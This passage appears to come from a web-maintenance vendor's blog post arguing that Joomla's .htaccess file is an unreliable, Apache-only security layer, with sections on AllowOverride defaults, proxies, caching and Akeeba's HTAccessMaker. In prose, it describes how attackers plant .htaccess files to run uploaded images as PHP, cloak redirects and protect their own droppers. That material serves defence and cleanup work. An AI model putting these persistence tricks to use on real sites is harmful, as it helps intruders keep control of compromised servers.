&lt;p&gt;Joomla ships a preconfigured &lt;code&gt;htaccess.txt&lt;/code&gt; in the site root, which you have to manually rename to &lt;code&gt;.htaccess&lt;/code&gt;, and which is tied to switching on SEF URLs in Global Configuration, so it is not even active on a default install. In current Joomla that file runs to over 150 lines: mod_rewrite exploit-prevention rules, a custom redirect section, the SEF URL rules for both the API and the front end, GZIP and Brotli compression, and content-type and SVG security headers. The documentation warns you, in bold, not to edit &lt;code&gt;htaccess.txt&lt;/code&gt; directly, because a Joomla update will overwrite it and silently discard whatever you changed. There is a post-installation message announcing new &lt;code&gt;.htaccess&lt;/code&gt; features, carrying advice that, in practice, almost nobody follows, because a 150-line &lt;code&gt;.htaccess&lt;/code&gt; is regex wizardry that only a small minority of Joomla users can actually read, let alone safely modify. The net result is a powerful, fragile file that is shipped disabled, must not be edited where it lives, and is understood by a fraction of the people who depend on it.&lt;/p&gt;
&lt;p&gt;There is also a more defensible road the proposal does not take, which is telling in itself. Joomla already ships small, tightly-scoped &lt;code&gt;.htaccess&lt;/code&gt; files inside individual folders. &lt;code&gt;libraries/.htaccess&lt;/code&gt;, for one, is three lines that simply deny direct access to that directory. That per-folder approach, a specific deny rule in the specific folder that needs it, is far sounder than one sprawling regex at the root, and yet there is no real discussion of leaning on it: of shipping targeted deny rules in the handful of writable directories that actually matter, rather than a giant front-door filter. But even the better idea hits the same wall as everything else here. Those subfolder files do precisely nothing on Nginx, Caddy, or behind a cache, so on the majority of the web that is no longer plain Apache they are wasted bytes radiating the same false sense of security as the big file at the top.&lt;/p&gt;
&lt;p&gt;Akeeba&apos;s Admin Tools is the closest anyone in the ecosystem comes to doing this properly, and it deserves credit. Its &lt;code&gt;.htaccess&lt;/code&gt; Maker gives you checkbox toggles with real documentation attached to each option, so you are choosing behaviours rather than hand-writing PCRE you do not understand. To its further credit, it does not pretend the world is only Apache: it also ships an &lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/nginx-maker.html&quot;&gt;Nginx Maker&lt;/a&gt; and a &lt;code&gt;web.config&lt;/code&gt; maker. But look closely at what deploying the non-Apache versions actually takes, because it exposes the whole problem. Admin Tools&apos; own Nginx documentation says it in capitals: the generated config has to be manually included in your site&apos;s server definition, and then &quot;modifying the NginX configuration has NO EFFECT until you reload or restart the NginX server&quot;. A site owner on shared hosting cannot reload Nginx. They have no shell, no root, no access to the server definition file. So the one server family where the average Joomla user can actually deploy the output themselves is Apache, and only because Apache re-reads &lt;code&gt;.htaccess&lt;/code&gt; on every request with no reload required, which, as we just saw, is the exact behaviour that also makes it a measurable performance drain. Do this properly across web servers and you need server-level access most Joomla users do not have. Do it the easy way and you are back to Apache alone. The best tool in the ecosystem cannot escape the fact that the format only self-deploys on one server.&lt;/p&gt;
&lt;h2&gt;Admin Tools&apos; HTAccessMaker is genuinely good, and still not the answer&lt;/h2&gt;
&lt;p&gt;I just called it the closest anyone comes to doing this properly, so let me make good on that, because the &lt;code&gt;.htaccess&lt;/code&gt; its &lt;a href=&quot;https://www.akeeba.com/documentation/admin-tools-joomla/htaccess-maker.html&quot;&gt;HTAccessMaker&lt;/a&gt; writes is genuinely very good, and it mutes a great deal of what I have argued above. I would rather concede that openly than pretend the best version of the thing is as weak as the worst.&lt;/p&gt;
&lt;p&gt;It ships none of the fossils. No pharmaceutical blocklist, no dead Easter-egg regex, no twenty-year-old referrer-spam tokens. What you get instead is the short list of jobs a &lt;code&gt;.htaccess&lt;/code&gt; is actually good at, done cleanly and from checkboxes rather than hand-cut PCRE: force HTTPS, disable directory listings, block direct access to &lt;code&gt;configuration.php-dist&lt;/code&gt; and &lt;code&gt;htaccess.txt&lt;/code&gt;, neutralise SVG script execution, set the clickjacking, MIME and reflected-XSS headers, and restrict the administrator area by IP with proper support for reading the real visitor address back from Cloudflare, Sucuri or BunnyCDN. It previews the exact file before writing it and backs the old one up to &lt;code&gt;.htaccess.admintools&lt;/code&gt; first, which defuses the &quot;one typo and the whole site 500s&quot; objection better than anything else in the ecosystem.&lt;/p&gt;
&lt;p&gt;And here is the detail that should settle the argument rather than soften it: Akeeba is honest about the limits in its own documentation. Of the user-agent blocklist it ships, the docs say in capitals that it &quot;IS NOT A SECURITY FEATURE&quot;, because the client controls that header, which is exactly the point I made earlier about every blocklist. When the best tool in the space tells you, in its own manual, that a chunk of what people treat as hardening is not security, this article is not a fringe position. It is the vendor&apos;s own words.&lt;/p&gt;
&lt;p&gt;So use it. If you have Admin Tools Professional, its HTAccessMaker is the right way to do the narrow jobs, and I would far rather you ran it than hand-edited anything yourself. But notice the three things it cannot change. It is still a &lt;code&gt;.htaccess&lt;/code&gt;, so every structural limit above survives it untouched: the file itself cannot see the SQL injection or the unauthenticated upload arriving through &lt;code&gt;index.php&lt;/code&gt; (Admin Tools&apos; separate web application firewall can and does detect and block a SQL injection at runtime when you have that feature switched on, but that is the PHP WAF earning the credit, not the &lt;code&gt;.htaccess&lt;/code&gt; it also generates, the exact distinction I drew earlier), it runs on Apache alone, and a deeper &lt;code&gt;.htaccess&lt;/code&gt; dropped into your uploads folder still out-nests it. It is a commercial product, a paid Professional feature that the free edition and every non-Apache site never get. And it is only ever as good as the administrator ticking the boxes, which is the quiet catch in any checkbox tool: it can express a decision safely, but it cannot make the decision for you or understand your server on your behalf. Akeeba says as much plainly, warning that depending on your server settings some options &quot;may be incompatible with your site&quot;, and when they are you get &quot;a blank page or an Internal Server Error 500 error page&quot; on every request. Some options assume Apache modules that are not always switched on: a prepackaged stack like WAMPServer ships with &lt;code&gt;mod_rewrite&lt;/code&gt; off by default, and a rule that needs it will 500 the whole site until someone works out why. The preview, the backup and the delete-it-over-FTP escape hatch all exist precisely because a wrong choice takes the site down.&lt;/p&gt;
&lt;p&gt;A superb &lt;code&gt;.htaccess&lt;/code&gt; is still a &lt;code&gt;.htaccess&lt;/code&gt;. HTAccessMaker makes the narrow layer about as good as the narrow layer can be. It does not turn it into a different layer.&lt;/p&gt;
&lt;h2&gt;Genuine reasons Joomla code needs direct PHP access&lt;/h2&gt;
&lt;p&gt;The flip side of &quot;only approved entry points may run&quot; is that a great deal of legitimate software has a real, designed need for direct PHP access somewhere in the webspace, and locking that down by default breaks working sites and working tools.&lt;/p&gt;
&lt;p&gt;Start with the assumption the whole proposal quietly rests on: that a webspace is a Joomla-only place. In the real world it almost never is. An agency runs all sorts of things inside one account: a Joomla site, a couple of WordPress installs, a static microsite, a standalone PHP form handler, a scheduled script, an old bespoke app nobody has touched in years. The account is reused for many purposes and Joomla is only one tenant in it. A default that treats every &lt;code&gt;.php&lt;/code&gt; file in the space as either Joomla&apos;s or an attacker&apos;s is being narrow-visioned about how these servers are genuinely used, and it breaks the neighbours it was never entitled to make assumptions about in the first place.&lt;/p&gt;
&lt;p&gt;The Joomla project does not have to look far for examples, because its own ecosystem is full of them, which is why the counter-examples in that entry-point discussion came from the most respected developers in the community, not from cowboys. We already met the two sharpest cases at the top of this article: Akeeba&apos;s &lt;code&gt;kickstart.php&lt;/code&gt;, a standalone script that has to run &lt;em&gt;outside&lt;/em&gt; Joomla precisely because it rebuilds a site where Joomla may be broken or absent, and Joomla&apos;s own updater handing &lt;code&gt;index.php&lt;/code&gt; straight to &lt;code&gt;extract.php&lt;/code&gt; to unpack a new copy of the very software it is replacing. Those are not sloppy design. They are recovery tools doing the one job you cannot route through a running Joomla, and a blanket &quot;only approved entry points may run&quot; rule breaks them by definition. That is the awkward truth sitting underneath the proposal: the direct-access pattern it wants to forbid is one the project itself depends on.&lt;/p&gt;
&lt;p&gt;Third-party developers hit the softer version of this constantly. Explaining to a customer that they must edit a &lt;code&gt;.htaccess&lt;/code&gt; to whitelist an endpoint, just so a plugin&apos;s own PHP file can be reached directly, is a genuinely hard support conversation, and the framing that they must &quot;downgrade their security&quot; to make the plugin work is misleading and unfair. It implies the plugin is insecure, when the direct access may be a perfectly safe, deliberate feature of how it is built. The access is part of the design, not a hole in it, and there is a real difference between a file that is reachable and a file that is &lt;em&gt;exploitable&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Tools like mySites.guru sit squarely in this category, and here the direct access is not a convenience, it is the entire point. The connector is written to be semi-independent of Joomla precisely so that it keeps working when Joomla does not, and that independence matters most at the exact moment you need it: when the site is hacked, when it is down, when core files have been deleted, when the database is unreachable, when Joomla is throwing a fatal error on every page. An external monitor that could only ever talk to you &lt;em&gt;through&lt;/em&gt; a healthy Joomla would go blind at the precise instant Joomla broke, which is the one moment you most need eyes on the site. Direct access to its own dedicated endpoint is what lets an independent watcher stay independent of the thing it is watching. Forbid that by default and you do not make the site more secure, you blind the tools that were going to tell you it had been attacked.&lt;/p&gt;
&lt;h2&gt;.htaccess is an Apache feature, not a web standard&lt;/h2&gt;
&lt;p&gt;Step back far enough and the entire premise looks shakier still, because &lt;code&gt;.htaccess&lt;/code&gt; is not a standard at all. It is an Apache implementation detail, one web server&apos;s particular way of doing per-directory configuration, and Apache is no longer how most of the web is served. Plenty of houses have no fridge to lock and no toilet door to bolt. Nginx, Caddy, Cloudflare, Node and every other server that never adopted Apache&apos;s per-directory model are all perfectly happy homes that simply do not have the fixture you are selling a lock for, and no amount of insisting on the lock will conjure one into their kitchen.&lt;/p&gt;
&lt;p&gt;By &lt;a href=&quot;https://w3techs.com/technologies/overview/web_server&quot;&gt;W3Techs&apos; current figures&lt;/a&gt;, both Nginx and Cloudflare now sit above Apache in web-server usage, with LiteSpeed close behind. Roughly three quarters of the web is not &quot;plain Apache reading your &lt;code&gt;.htaccess&lt;/code&gt; on every request&quot;, and of the major players:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nginx&lt;/strong&gt; does not read &lt;code&gt;.htaccess&lt;/code&gt; at all, and this is by design, not an oversight. Its own documentation states plainly that &lt;a href=&quot;https://blog.nginx.org/blog/converting-apache-to-nginx-rewrite-rules&quot;&gt;Nginx does not support per-directory configuration files&lt;/a&gt;, so every rule has to be converted into central configuration that is loaded once, not re-read from the filesystem on every request.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare&lt;/strong&gt; sits in front of your origin entirely, and is configured at the edge through its own rules engine. It has never heard of your &lt;code&gt;.htaccess&lt;/code&gt; and never will.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Caddy&lt;/strong&gt; serves automatic HTTPS and HTTP/2 out of the box from a single central Caddyfile, with no per-directory model. Its maintainers have &lt;a href=&quot;https://github.com/caddyserver/caddy/issues/4091&quot;&gt;explained plainly why they will not add &lt;code&gt;.htaccess&lt;/code&gt; support&lt;/a&gt;: it would mean building an Apache configuration parser in Go, recursively scanning directories for these files on every request, and running dynamic handlers based on their contents, all of which runs directly counter to how a modern, performant server is designed. It is not a small ask and it is not on the roadmap.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LiteSpeed&lt;/strong&gt; does read &lt;code&gt;.htaccess&lt;/code&gt;, and this is the one that confuses people into thinking the format is a standard. It is not. LiteSpeed chose to honour Apache&apos;s rewrite rules as a compatibility convenience, to make migration off Apache painless. Those are still Apache configuration files being tolerated by a different server, not a neutral cross-server standard that everyone agreed to implement.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IIS&lt;/strong&gt; uses &lt;code&gt;web.config&lt;/code&gt;, which Joomla ships as &lt;code&gt;web.config.txt&lt;/code&gt;, and which, by the Joomla team&apos;s own admission, carries weaker settings and lags behind the &lt;code&gt;.htaccess&lt;/code&gt; rules.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And even that asterisk on LiteSpeed needs an asterisk of its own. LiteSpeed Enterprise genuinely does re-implement Apache&apos;s rewrite engine and honours a good deal of a &lt;code&gt;.htaccess&lt;/code&gt;: rewrite rules, headers, expiry, basic auth, &lt;code&gt;php_value&lt;/code&gt;, re-read from the file per request much as Apache does it. But &lt;a href=&quot;https://stackharbor.com/en/knowledge-base/litespeed-htaccess-compatibility/&quot;&gt;the compatibility is partial, and worse, it fails silently&lt;/a&gt;. Per-directory &lt;code&gt;mod_security&lt;/code&gt; rules are quietly ignored, &lt;code&gt;mod_deflate&lt;/code&gt; and gzip directives are dropped in favour of native vhost settings, &lt;code&gt;SetEnv&lt;/code&gt; values may never reach PHP, and a whole list of Apache modules is passed over without a word. A rule that protects you on Apache can sit in the exact same file on LiteSpeed doing nothing at all, with no error to tell you it has stopped working. The free, open-source sibling is worse still: in practice &lt;a href=&quot;https://www.litespeedtech.com/support/forum/threads/openlitespeed-wont-read-htaccess-files.17644/&quot;&gt;OpenLiteSpeed does not read &lt;code&gt;.htaccess&lt;/code&gt; files at all&lt;/a&gt;, treating that as an Enterprise-only feature, while its admin panel cheerfully offers &lt;code&gt;.htaccess&lt;/code&gt; options that produce no result, so your rewrites have to be hand-configured as static contexts or they simply never run. &quot;LiteSpeed supports &lt;code&gt;.htaccess&lt;/code&gt;&quot; turns out to mean one paid edition supports most of it and silently discards the rest, while the free edition barely reads it. A security file whose rules half-apply depending on which build of which non-Apache server happens to be underneath is the exact opposite of a control you can rely on.&lt;/p&gt;
&lt;p&gt;That is the point people miss when they treat the &lt;code&gt;.htaccess&lt;/code&gt; as &quot;the security file&quot;. More than one server tolerating a format does not promote it to a standard; it just means Apache&apos;s format leaked into a couple of neighbours. Anything you build on top of it is, by definition, Apache-specific, and increasingly a minority case.&lt;/p&gt;
&lt;p&gt;WordPress, for comparison, powers an enormous share of the web on a default &lt;code&gt;.htaccess&lt;/code&gt; of just seven rules:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# BEGIN WordPress
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Seven rules. No pharmaceutical blocklist, no Easter-egg regex, no fossilised referrer-spam tokens. WordPress leans on secure-by-design core and its plugin ecosystem, for better and for worse, rather than pretending the rewrite file is a firewall. It is not that WordPress got security right and Joomla got it wrong; both have plenty of plugin and extension vulnerabilities. It is that WordPress never asked its &lt;code&gt;.htaccess&lt;/code&gt; to do a job the &lt;code&gt;.htaccess&lt;/code&gt; cannot do.&lt;/p&gt;
&lt;h2&gt;The ground is shifting under Apache, and Cloudflare is hiding how fast&lt;/h2&gt;
&lt;p&gt;I quoted a single snapshot of those figures earlier. Look at the &lt;a href=&quot;https://w3techs.com/technologies/history_overview/web_server&quot;&gt;twelve-year trend&lt;/a&gt; instead and the direction is unmistakable. As I write this, W3Techs has Nginx at 31.5%, Cloudflare&apos;s own server at 29.0%, Apache at 23.1% and LiteSpeed at 15.1%. A year ago Apache was on 26.0% and Cloudflare on 24.0%: in twelve months Apache shed nearly three points while Cloudflare gained five, and that is not a blip, it is the shape of the whole decade. Apache sliding, Nginx and the edge rising. The one server the entire &lt;code&gt;.htaccess&lt;/code&gt; argument depends on is the one steadily losing ground.&lt;/p&gt;
&lt;p&gt;But those figures deserve less confidence than the people quoting them tend to give them, mine included, and the reason cuts against my own argument as hard as it cuts for it. These surveys identify a site&apos;s web server from the &lt;code&gt;Server&lt;/code&gt; response header, and Cloudflare rewrites that header to &lt;code&gt;cloudflare&lt;/code&gt; for every site it proxies, whatever is actually running at the origin behind it. A site served by Apache behind Cloudflare is therefore counted as Cloudflare, not Apache. Every Apache origin hiding inside that 29% Cloudflare bucket is an Apache install the survey never sees. The honest consequence is that Apache is almost certainly more common than 23% makes it look, quite possibly more common than Nginx, and we simply cannot know by how much, because the proxy that masks it now fronts more than a fifth of the web. We will never really know the true numbers.&lt;/p&gt;
&lt;p&gt;Which sounds like it rescues the &lt;code&gt;.htaccess&lt;/code&gt;, and does precisely the opposite. Every one of those hidden Apache sites has a Cloudflare edge sitting in front of it, and that helps the file not at all: the edge can answer a request from cache without it ever reaching Apache or its &lt;code&gt;.htaccess&lt;/code&gt;, and the edge is where the real hardening belongs, the very layer Joomla offers not one line of guidance for. The masking does not prove your &lt;code&gt;.htaccess&lt;/code&gt; still matters. It proves it now sits even further back, behind even more that runs before it, than the raw share numbers admit.&lt;/p&gt;
&lt;h2&gt;On a fresh Apache server, your .htaccess is ignored by default&lt;/h2&gt;
&lt;p&gt;Here is a fact that surprises most Joomla site owners: on a brand-new Apache install, your &lt;code&gt;.htaccess&lt;/code&gt; does nothing at all. Not &quot;less than you think&quot;, literally nothing. Since Apache 2.3.9, released back in 2011, the shipped default has been &lt;code&gt;AllowOverride None&lt;/code&gt;, which tells Apache not to read &lt;code&gt;.htaccess&lt;/code&gt; files anywhere on the server. Every rule you carefully wrote, every SEF rewrite, every hardening directive, every deny rule, is sitting in a file Apache has been explicitly instructed never to open.&lt;/p&gt;
&lt;p&gt;Those rules only begin to work the moment a server administrator opens the main Apache configuration, &lt;code&gt;httpd.conf&lt;/code&gt;, a vhost file, or &lt;code&gt;apache2.conf&lt;/code&gt; on Debian and Ubuntu, and changes the &lt;code&gt;&amp;lt;Directory&amp;gt;&lt;/code&gt; block covering your document root to &lt;code&gt;AllowOverride All&lt;/code&gt;, or at least to the specific override classes your rules require. This is exactly why &quot;I renamed &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt; and my SEF URLs still don&apos;t work&quot; is one of the most common questions a new-server Joomla install produces. The rewrites are not broken and the file is not wrong. Apache was simply never told to read it, so it doesn&apos;t.&lt;/p&gt;
&lt;p&gt;Sit with what that means for the mental model. The single most important decision about whether your &lt;code&gt;.htaccess&lt;/code&gt; runs at all is not made in your &lt;code&gt;.htaccess&lt;/code&gt;. It is made in server configuration that you usually cannot see, that on shared hosting you cannot change, and about which you are never notified. Your &quot;security file&quot; is opt-in, off by default on a fresh server, and someone else entirely holds the switch.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Technical detail: AllowOverride and the override classes&lt;/p&gt;
  &lt;p&gt;&lt;code&gt;AllowOverride&lt;/code&gt; lives in a &lt;code&gt;&amp;lt;Directory&amp;gt;&lt;/code&gt; block in the main Apache config, never in the &lt;code&gt;.htaccess&lt;/code&gt; itself, and its default since Apache 2.3.9 (2011) is &lt;code&gt;None&lt;/code&gt;, meaning matching &lt;code&gt;.htaccess&lt;/code&gt; files are not even opened. To make Joomla&apos;s SEF rewrites run you need at least &lt;code&gt;AllowOverride FileInfo&lt;/code&gt; (which permits &lt;code&gt;mod_rewrite&lt;/code&gt; directives); a full hardening &lt;code&gt;.htaccess&lt;/code&gt; typically also needs &lt;code&gt;Options&lt;/code&gt;, &lt;code&gt;Limit&lt;/code&gt; and &lt;code&gt;AuthConfig&lt;/code&gt;, which is why hosts usually just grant &lt;code&gt;AllowOverride All&lt;/code&gt; and be done with it.&lt;/p&gt;
  &lt;p&gt;On managed shared hosting the control panel sets this for you, so you never see it. On an unmanaged server or a fresh VPS, nothing does, so a freshly renamed &lt;code&gt;.htaccess&lt;/code&gt; is completely inert until you edit the server config by hand. And because &lt;code&gt;AllowOverride&lt;/code&gt; is evaluated per-directory from the top of the tree down, a single broad &lt;code&gt;AllowOverride None&lt;/code&gt; higher up silently disables every &lt;code&gt;.htaccess&lt;/code&gt; beneath it in one line.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;And the switch flips both ways, at times you do not choose. A host tuning for performance may deliberately set &lt;code&gt;AllowOverride None&lt;/code&gt; across the whole box, because Apache&apos;s own documentation recommends exactly that, moving rules up into the main config, for speed, and in doing so quietly retires every &lt;code&gt;.htaccess&lt;/code&gt; on the server. A migration to a new server, a control-panel rebuild, a move onto a hardened base image, any of these can reset &lt;code&gt;AllowOverride&lt;/code&gt; to its default and switch your entire hardening layer off without a single character of your &lt;code&gt;.htaccess&lt;/code&gt; ever changing. You would not see an error. The rules would simply stop applying, and unless you were actively testing for them, you would never notice. A security control that defaults to off, and that someone else can silently switch off again at any time, is not a foundation to build on.&lt;/p&gt;
&lt;h2&gt;Your .htaccess is buried behind proxies you don&apos;t control&lt;/h2&gt;
&lt;p&gt;There is one more layer to this that almost nobody accounts for, and it has quietly become the norm rather than the exception. Most serious sites no longer serve requests from a single Apache instance. They serve them from a stack.&lt;/p&gt;
&lt;p&gt;A very common modern arrangement is Cloudflare in front of Nginx in front of Apache with PHP-FPM behind it, or Nginx as a caching reverse proxy in front of Apache, which is now a standard cPanel configuration. In every one of those stacks, your Apache &lt;code&gt;.htaccess&lt;/code&gt; sits at the very back, and it only has any say once a request has already travelled through everything in front of it. It governs one hop of the journey, the Apache leg, and it is blind and powerless for the rest.&lt;/p&gt;
&lt;p&gt;Two consequences follow, and both undercut the mental model of &quot;my &lt;code&gt;.htaccess&lt;/code&gt; guards the front door&quot;. First, whatever the front proxy allows through reaches Apache regardless of what your &lt;code&gt;.htaccess&lt;/code&gt; would have wanted at the edge; the &lt;code&gt;.htaccess&lt;/code&gt; cannot filter a request before it has been proxied to Apache, because it is not the first thing the request meets, it is nearly the last. Second, and more damaging, a request that the front layer can answer from cache never reaches Apache at all. If Cloudflare or the Nginx reverse-proxy cache has a copy of the response, it serves it directly, and your &lt;code&gt;.htaccess&lt;/code&gt; does not execute: not its redirects, not its blocks, not its security headers, not its carefully crafted deny rules. A security rule that only runs on cache misses is a security rule with holes in it that move around depending on what is currently cached.&lt;/p&gt;
&lt;p&gt;So the picture people carry in their heads, a single gatekeeper &lt;code&gt;.htaccess&lt;/code&gt; standing at the entrance inspecting every visitor, is wrong twice over on a modern stack. There are one, two, sometimes three layers in front of it that it has no control over and cannot even see, and behind some of those layers, for cached responses, it does not run at all. It is not the front door. It is a door somewhere near the back of the house, that only some visitors ever walk through.&lt;/p&gt;
&lt;h2&gt;Even hackers use .htaccess, usually better than you do&lt;/h2&gt;
&lt;p&gt;There is an irony sitting underneath all of this, and it is a genuine one: attackers are frequently far more fluent in &lt;code&gt;.htaccess&lt;/code&gt; than the site owners defending with it. To a competent attacker it is not a shield at all. It is one of their favourite tools.&lt;/p&gt;
&lt;p&gt;Once they have a foothold, a &lt;code&gt;.htaccess&lt;/code&gt; is how they make themselves comfortable. They drop their own into an uploads folder to force PHP processing where your rules forbade it, so that the innocuous-looking &lt;code&gt;.jpg&lt;/code&gt; they uploaded runs as code. They plant one in a deep subdirectory to cloak and redirect: real visitors and Googlebot get sent to a spam or malware network, while you, visiting your own homepage, are served a clean page and see nothing wrong for months. They use it to password-protect the directory holding their own backdoor, so that even if you find the folder you cannot easily see inside it. We have cleaned up sites carrying &lt;a href=&quot;https://mysites.guru/blog/delete-malicious-htaccess-files-bulk/&quot;&gt;thousands of malicious .htaccess files that attackers weaponised against the owner&lt;/a&gt;, scattered through every writable directory, and we have watched backdoors &lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;rebuild every one of those files within minutes of a cleanup&lt;/a&gt;, because the entry point that let them in was never actually closed. The same file you trusted as your defence is, in a compromised site, the attacker&apos;s preferred instrument. They understand the format better than you do, and they are using it against you.&lt;/p&gt;
&lt;h2&gt;Your .htaccess might be the hack itself&lt;/h2&gt;
&lt;p&gt;Here is the turn that catches people out. On a compromised site, the &lt;code&gt;.htaccess&lt;/code&gt; is not automatically your file. Some of the most common Joomla infections we clean up right now ship their own, uploaded by the attacker and doing the exact opposite of what you assume a &lt;code&gt;.htaccess&lt;/code&gt; is for.&lt;/p&gt;
&lt;p&gt;We flag every one of them. On the site below, the audit found &lt;code&gt;.htaccess&lt;/code&gt; files marked as hacked scattered through the template tree and inside a folder the attacker had helpfully named &lt;code&gt;firewall&lt;/code&gt;, several of them set to &lt;code&gt;0444&lt;/code&gt; so they are read-only and harder to delete.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Open one and the intent is obvious. This is the contents of that &lt;code&gt;/tmp/firewall/firewall/.htaccess&lt;/code&gt;:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Read it the way Apache does. The first block denies execution to every spelling of a PHP file it can think of, &lt;code&gt;php&lt;/code&gt;, &lt;code&gt;PHP&lt;/code&gt;, &lt;code&gt;pHp&lt;/code&gt;, &lt;code&gt;php5&lt;/code&gt;, &lt;code&gt;phtml&lt;/code&gt;, plus &lt;code&gt;.suspected&lt;/code&gt; and several more. The second block then carves two exceptions back out: &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;cache.php&lt;/code&gt; are allowed to run. That is not a defence. It is an attacker switching PHP execution off for the whole directory and back on again only for their own two droppers. Every scanner&apos;s shell, every rival attacker&apos;s backdoor, every file but theirs is now inert, while their &lt;code&gt;index.php&lt;/code&gt; and &lt;code&gt;cache.php&lt;/code&gt; keep serving. It is persistence and turf control, written in the exact syntax you were told to trust.&lt;/p&gt;
&lt;p&gt;This is precisely why we treat a new or changed &lt;code&gt;.htaccess&lt;/code&gt; as something to audit, not something to believe. The file that is supposed to be your defence is, often enough, the clearest signal that the site is already owned.&lt;/p&gt;
&lt;h2&gt;More reasons the .htaccess is the wrong thing to trust&lt;/h2&gt;
&lt;p&gt;Beyond the headline problems, a pile of smaller ones compounds, and any single one of them should give you pause before you treat this file as your security.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;One bad line takes the whole site down.&lt;/strong&gt; A &lt;code&gt;.htaccess&lt;/code&gt; is parsed on every request, and if it contains a single directive Apache cannot honour, a rule from a module the host has not loaded, a typo, a directive the host has explicitly forbidden, Apache does not quietly skip it. It returns a &lt;code&gt;500 Internal Server Error&lt;/code&gt; for every request to that directory and everything beneath it: your pages, your images, your CSS, all of it, gone at once. The file you added to make the site safer is one fat-fingered line away from taking the entire site offline. It fails to &lt;em&gt;broken&lt;/em&gt;, not to &lt;em&gt;safe&lt;/em&gt;, which is the opposite of what a security control should do.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Technical detail: how one line 500s everything&lt;/p&gt;
  &lt;p&gt;Apache parses the applicable &lt;code&gt;.htaccess&lt;/code&gt; files while it assembles the response, so a directive it cannot process is a fatal parse error for that request, not a skipped line. Add &lt;code&gt;Header set X-Frame-Options SAMEORIGIN&lt;/code&gt; where &lt;code&gt;mod_headers&lt;/code&gt; is not loaded, a &lt;code&gt;php_value&lt;/code&gt; where PHP runs as FPM or CGI rather than &lt;code&gt;mod_php&lt;/code&gt;, or a &lt;code&gt;SetEnv&lt;/code&gt; where &lt;code&gt;mod_env&lt;/code&gt; is absent, and every request under that directory returns &lt;code&gt;500 Internal Server Error&lt;/code&gt;, including static assets that never touch Joomla at all.&lt;/p&gt;
  &lt;p&gt;There is no partial application and no graceful fallback: the entire file is refused, so a rule you pasted in for security can black-hole the whole site until someone reads the Apache error log and finds the one offending line. A security file that can take the site down on a typo is a liability sitting inside your defence.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Your ruleset is downloadable, and it maps your defences.&lt;/strong&gt; Every editor and hardening tool leaves backups behind: &lt;code&gt;.htaccess.bak&lt;/code&gt;, &lt;code&gt;.htaccess.orig&lt;/code&gt;, &lt;code&gt;.htaccess.save&lt;/code&gt;, cPanel&apos;s own copies, Akeeba&apos;s &lt;code&gt;.htaccess.admintools&lt;/code&gt;. Those backup files are almost never themselves protected from direct browser access, so an attacker can often just request one and read, in plain text, exactly which paths you guard, which files you hide, and which protections you lean on. Your secret hardening becomes a reconnaissance document, handed straight to the person you were trying to hide it from.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It is not in source control, so it silently drifts.&lt;/strong&gt; The &lt;code&gt;.htaccess&lt;/code&gt; lives on the server, edited by hand, almost never committed to git, rarely reviewed by anyone. Your dev, staging and production copies drift apart, nobody can diff the current state against a known-good baseline, and Joomla&apos;s own warning that a core update will overwrite &lt;code&gt;htaccess.txt&lt;/code&gt; guarantees the rot. Security configuration you cannot see the history of, and cannot diff, is security configuration you do not really control.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It is blind to the vectors behind most compromises.&lt;/strong&gt; A phished or reused Super User password, a nulled or pirated extension shipping a backdoor, a legitimate extension whose update server was compromised: all of these arrive through approved, authenticated, entirely expected channels. A large share of real-world Joomla infections begin exactly there, and no &lt;code&gt;.htaccess&lt;/code&gt; rule has any opinion whatsoever about a valid login or a signed update. You cannot rewrite-rule your way out of a stolen password.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A default lockdown punishes the honest and waves the malware through.&lt;/strong&gt; This is the sting hiding inside a &quot;secure by default&quot; restrictive &lt;code&gt;.htaccess&lt;/code&gt;. The extensions that break under it are the well-behaved ones that put their files where they said they would. Malware does not read your whitelist; it writes wherever the process can write. So the rule inconveniences legitimate developers and their users far more than it ever inconveniences the attacker it was aimed at.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A dead rule looks exactly like a working one.&lt;/strong&gt; &lt;code&gt;.htaccess&lt;/code&gt; directives are order-sensitive and dependency-sensitive. A hardening rule pasted below the SEF rewrite&apos;s &lt;code&gt;[L]&lt;/code&gt; flag, or one that quietly needs a module the server has not loaded, simply never fires, and nothing anywhere tells you. You cannot unit-test it, you cannot see it on a dashboard, and &quot;I added the rule&quot; is not the same statement as &quot;the rule runs&quot;. A good share of the hardening people believe they have is dead code they will never find out is dead.&lt;/p&gt;
